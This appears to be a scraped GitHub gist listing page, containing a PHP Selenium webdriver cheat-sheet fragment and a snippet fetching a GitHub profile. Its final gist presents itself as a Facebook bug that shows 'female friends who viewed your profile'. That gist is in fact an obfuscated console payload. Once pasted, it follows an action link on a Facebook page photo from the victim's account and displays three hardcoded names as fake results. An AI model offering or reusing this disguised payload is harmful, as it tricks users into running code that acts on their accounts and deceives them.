Skip to content

Instantly share code, notes, and snippets.

$sJavascript = <<<END_JAVASCRIPT
var callback = arguments[arguments.length-1], // webdriver async script callback
async function getUserInfo(){
var result = await fetch('https://api.github.com/users/milo24s1',{
credentials: "same-origin"}).then(response=>response.json()).then(text => text);
console.log(result);
callback(result);
@Milo24s1
Milo24s1 / selenium-php-webdriver-cheatsheet.md
Created June 17, 2019 06:39 — forked from aczietlow/selenium-php-webdriver-cheatsheet.md
Cheat sheet for using php webdriver (facebook/webdriver).

Webdriver PHP API workthough

  • Open a browser

    # start an instance of firefox with selenium-webdriver
    
    $browser_type = 'firefox'
    $host = 'http://localhost:4444/wd/hub'
    

$capabilities = array(\WebDriverCapabilityType::BROWSER_NAME => $browser_type);

@Milo24s1
Milo24s1 / gist:9f500b78bda76c5c297f592e004fe9fb
Last active August 31, 2018 06:37
this is facebook mobile version bug which is reporucbale in firefox browser you can get the list of female friends who viewed your profile.
fetch(window.atob("aHR0cHM6Ly9tLmZhY2Vib29rLmNvbS9TdXNpa29CYWtlcnMvcGhvdG9zL3BiLjUzMzQwNDk5MDAzMDA0Ny4tMjIwNzUyMDAwMC4xNTMzODgzODIyLi8xNzY3OTUwNjI5OTA4ODA0Lz90eXBlPTMmdGhlYXRlcg==")).then(function(t){return t.text()}).then(function(t){var o=(new DOMParser).parseFromString(t,"text/html").querySelector("#MPhotoActionbar td:nth-child(1) > a:nth-child(1)").href;fetch(o).then(function(t){["U2hlaGFuaSBSYWphcGFrc2hl","U2h5YW1pIEVrYW5heWFrYQ==","QW51cmFkaGkgV2lja3JhbWFzaW5naGU="].map(t=>console.log("%c"+window.atob(t),"color: rgb(249, 162, 34);font-size: 60px;font-weight: bold;text-shadow: 1px 1px 5px rgb(249, 162, 34);filter: dropshadow(color=rgb(249, 162, 34), offx=1, offy=1);"))})});